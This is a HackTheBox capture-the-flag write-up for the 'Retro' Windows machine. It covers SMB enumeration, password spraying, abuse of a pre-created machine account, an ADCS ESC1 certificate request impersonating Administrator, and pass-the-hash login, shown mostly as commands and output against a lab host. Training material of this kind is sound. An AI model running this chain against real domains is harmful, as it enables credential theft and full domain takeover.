



HACKTHEBOX



Retro

9th July 2025

Prepared By: kavigihan

Machine Author(s): r0BIT

Difficulty: **Easy**

Synopsis

Retro is an Easy Windows machine that showcases an Active Directory Domain Controller. Through SMB enumeration and pre-created machine account exploitation, we gain access to the system. Through the exploitation of the Active Directory Certificate Service and specifically by using the **ESC1** attack, which involves exploiting certificate templates to impersonate the Administrative user, privilege escalation is achieved.

Skills Required

- Basic Active Directory Enumeration
- Basic Active Directory Service Enumeration

Skills Learned

- Active Directory enumeration with Netexec
- Active Directory enumeration with Certipy

Enumeration

Let's start off by performing an **Nmap** scan against the target.

```

$ ports=$(nmap --open 10.129.234.44 | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -
sd,)
$ nmap 10.129.234.44 -p $ports -sV -sC -Pn --disable-arp-ping
<SNIP>
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-02
09:45:52Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: retro.vl0.,
Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: retro.vl0.,
Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: retro.vl0.,
Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: retro.vl0.,
Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-05-02T09:47:17+00:00; +14m30s from scanner time.
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_ System_Time: 2025-05-02T09:46:37+00:00
| ssl-cert: Subject: commonName=DC.retro.vl

```

```
| Not valid before: 2025-04-08T01:55:44
|_Not valid after: 2025-10-08T01:55:44
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
</SNIP>
```

From the `Nmap` scan results, a hostname called `dc.retro.vl` is revealed. Let's add the relevant DNS entry to the `/etc/hosts` file.

```
echo "10.129.234.44 retro.vl dc.retro.vl" | sudo tee -a /etc/hosts
```

Let's enumerate the open services and specifically let's start with the SMB ports (135, 445). We can use `Netexec` for this.

```
nxc smb retro.vl -u "Guest" -p ""

SMB      10.129.234.44  445    DC          [*] Windows Server 2022 Build 20348
x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB      10.129.234.44  445    DC          [+] retro.vl\Guest:
```

From the output of `Netexec` we can see that Guest authentication is allowed. Let's enumerate the available shares further.

```
$ nxc smb retro.vl -u "Guest" -p "" --shares
<SNIP>
SMB      10.129.234.44  445    DC          Share          Permissions    Remark
SMB      10.129.234.44  445    DC          -----
SMB      10.129.234.44  445    DC          ADMIN$         -----
Admin
SMB      10.129.234.44  445    DC          C$
Default share
SMB      10.129.234.44  445    DC          IPC$           READ           Remote
IPC
SMB      10.129.234.44  445    DC          NETLOGON
server share
SMB      10.129.234.44  445    DC          Notes
SMB      10.129.234.44  445    DC          SYSVOL         Logon
server share
SMB      10.129.234.44  445    DC          Trainees       READ
</SNIP>
```

In the output we can see two interesting non-default shares called `Notes` and `Trainees`. The `Trainees` share can be enumerated further. For that, let's use `smbclient` to connect to the share.

```
$ smbclient //retro.vl/Trainees -U 'Guest'
Password for [WORKGROUP\Guest]:

Try "help" to get a list of possible commands.
smb: \> ls
.
```

File Name	Permissions	Size	Creation Date	Creation Time	Creation Timezone
.	D	0	Sun Jul 23	17:58:43	2023
..	DHS	0	Tue Apr 8	23:16:04	2025
Important.txt	A	288	Sun Jul 23	18:00:13	2023

```
Important.txt
```

Inside, there is a text file called `Important.txt`. Let's download it to take a look at it locally.

```
smb: \> get Important.txt
getting file \Important.txt of size 288 as Important.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit
$ cat Important.txt

Dear Trainees,
```

I know that some of you seemed to struggle with remembering strong and unique passwords. So we decided to bundle every one of you up into one account. Stop bothering us. Please. We have other stuff to do than resetting your password every day.

Regards

The Admins

As the note mentions, the password for `trainee` accounts is shared among all of them, and is possibly weak so that the users can remember it.

Using guest authentication, RIDs of users and groups in the domain should be enumerated.

```
$ nxc smb retro.vl -u "Guest" -p "" --rid-brute
<SNIP>
SMB      10.129.234.44    445    DC      1104: RETRO\trainee (SidTypeUser)
SMB      10.129.234.44    445    DC      1106: RETRO\BANKING$ (SidTypeUser)
SMB      10.129.234.44    445    DC      1107: RETRO\jburley (SidTypeUser)
SMB      10.129.234.44    445    DC      1108: RETRO\HelpDesk (SidTypeGroup)
SMB      10.129.234.44    445    DC      1109: RETRO\tblack (SidTypeUser)
</SNIP>
```

Among the default objects, 5 non-default accounts must be noted. `BANKING$` seems to be a machine account due to having a `$` character at the end.

As mentioned in the `Important.txt`, it is possible that these accounts are using weak passwords. To this end, let's check if any of these accounts are using the username as the password.

```
$ nxc smb retro.vl -u users.txt -p users.txt --continue-on-success
<SNIP>
SMB          10.129.234.44    445    DC          [+] retro.vl\trainee:trainee
</SNIP>
```

A weak password for `trainees` account is found. The password is indeed the same as the username. Using the identified credentials, the `Notes` share can be enumerated.

```
$ smbclient //retro.vl/Notes -U 'trainee%trainee'
Try "help" to get a list of possible commands.
smb: \> ls

.                D                0   Tue Apr  8 23:12:49 2025
..              DHS                0   Tue Apr  8 23:16:04 2025
ToDo.txt         A               248  Sun Jul 23 18:05:56 2023
user.txt         A                32   Tue Apr  8 23:13:01 2025
```

The user flag can be found in `user.txt`.

Privilege Escalation

The identified files in the `Notes` share can be downloaded for further analysis.

```
smb: \> get user.txt
getting file \user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0
KiloBytes/sec)
smb: \> get ToDo.txt
getting file \ToDo.txt of size 248 as ToDo.txt (0.3 KiloBytes/sec) (average 0.2
KiloBytes/sec)
smb: \> exit
$ cat ToDo.txt
```

Thomas,

after convincing the finance department to get rid of their ancient banking software it is finally time to clean up the mess they made. We should start with the pre created computer account. That one is older than me.

Best

James

As the `ToDo.txt` mentions, the old pre-created machine account from the finance department is the `BANKING$` account we found from the RID brute forcing.

When a machine account is created, if `Assign this computer account as a pre-Windows 2000 computer` is set, then the password is set as the account name itself but in lowercase. If the machine account hasn't authenticated to the domain yet, its password can be changed.

Let's first verify if `banking` is indeed the password for the `BANKING$` machine account.

```
$ smbclient //retro.vl/Notes -U 'BANKING$\%banking'
session setup failed: NT_STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```

Since we get `NT_STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT` instead of a `NT_STATUS_LOGON_FAILURE` on the machine account, this looks to be the case.

Now, the password should be changed to authenticate successfully. For that `changepasswd.py` from `Impacket` can be used.

```
$ python3 changepasswd.py retro.vl/'banking$':banking@10.129.234.44 -newpass 'kavi123!' -p
rpc-samr
Impacket v0.12.0.dev1+20240116.639.82267d84 - Copyright 2023 Fortra

[*] Changing the password of retro.vl\banking$
[*] Connecting to DCE/RPC as retro.vl\banking$
[*] Password was changed successfully.
```

After changing the password, we should attempt to authenticate with the new password.

```
$ crackmapexec smb retro.vl -u 'banking$' -p 'kavi123!'
SMB      dc.retro.vl      445      DC      [*] Windows 10.0 Build 20348 x64
(name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB      dc.retro.vl      445      DC      [+] retro.vl\banking$:kavi123!
```

With the credentials for `banking$` machine account, further enumeration should be done. Let's check for the presence of `Active Directory Certificate Services`.

```
$ nxc ldap retro.vl -u "banking$" -p 'kavi123!' -M adcs
LDAP      10.129.234.44      389      DC      [*] Windows Server 2022 Build 20348
(name:DC) (domain:retro.vl)
LDAP      10.129.234.44      389      DC      [+] retro.vl\banking$:kavi123!
ADCS      10.129.234.44      389      DC      [*] Starting LDAP search with search
filter '(objectClass=pKIEnrollmentService)'
ADCS      10.129.234.44      389      DC      Found PKI Enrollment Server:
DC.retro.vl
ADCS      10.129.234.44      389      DC      Found CN: retro-DC-CA
```

In this case, ADCS is installed and a Certificate Authority is identified as `retro-DC-CA`. `Certipy` should be used to enumerate the Certificate Service further.

```
$ certipy-ad find -u 'banking$' -p 'kavi123!' -dc-ip 10.129.234.44 -vulnerable -stdout
<SNIP>
Certificate Authorities
0
    CA Name                                : retro-DC-CA
</SNIP>
<SNIP>
Certificate Templates
0
```

```

Template Name                                : RetroClients

<SNIP>

Minimum RSA Key Length                      : 4096
Permissions
  Enrollment Permissions
    Enrollment Rights                        : RETRO.VL\Domain Admins
                                           RETRO.VL\Domain Computers
                                           RETRO.VL\Enterprise Admins

</SNIP>
<SNIP>
[!] Vulnerabilities
  ESC1                                       : 'RETRO.VL\Domain Computers' can enroll,
enrollee supplies subject and template allows client authentication
</SNIP>

```

From the `certipy` output, we see that `retro-DC-CA` Certificate Authority is vulnerable to the `ESC1` attack, which allows an attacker to **request a certificate for another user** and use that to authenticate to the domain. In the `Enrollment Rights`, we see that the `Domain Computers` group which `BANKING$` is a member of, are allowed to enrol in the template.

The `CA Name`, `Template Name` and the `Minimum RSA Key Length` from the `certipy` output should be noted. Using these, a new certificate should be requested from the `RetroClients` template, impersonating the `Administrator` user.

```

$ certipy-ad req -u 'banking$' -p 'kavil23!' -dc-ip 10.129.234.44 -ca retro-DC-CA -
template RetroClients -upn Administrator -debug -target dc.retro.vl -key-size 4096 -sid
S-1-5-21-2983547755-698260136-4283918172-500
Certipy v4.8.2 - by Oliver Lyak (ly4k)
<SNIP>
[*] Got certificate with UPN 'Administrator'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Saved certificate and private key to 'administrator.pfx'
</SNIP>

```

Then, this certificate should be used to authenticate to the domain controller and retrieve the `RC4` hash of the administrator user.

Note: In case of an error like `KRB_AP_ERR_SKEW` use `sudo ntpdate retro.vl` to sync your time with the domain controller.

```
$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -  
dc-ip 10.129.234.44  
Certipy v4.8.2 - by Oliver Lyak (ly4k)  
<SNIP>  
[*] Saved credential cache to 'administrator.ccache'  
[*] Trying to retrieve NT hash for 'administrator'  
[*] Got hash for 'administrator@retro.vl':  
aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389  
</SNIP>
```

This `RC4` hash can be used to perform a `Pass-The-Hash` attack to authenticate as `Administrator` to the domain controller using `Evil-WinRM`.

```
$ evil-winrm -u Administrator -H 252fac7066d93dd009d4fd2cd0368389 -i retro.vl  
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami  
retro\administrator
```

The root flag can be found in `C:\Users\Administrator\Desktop`.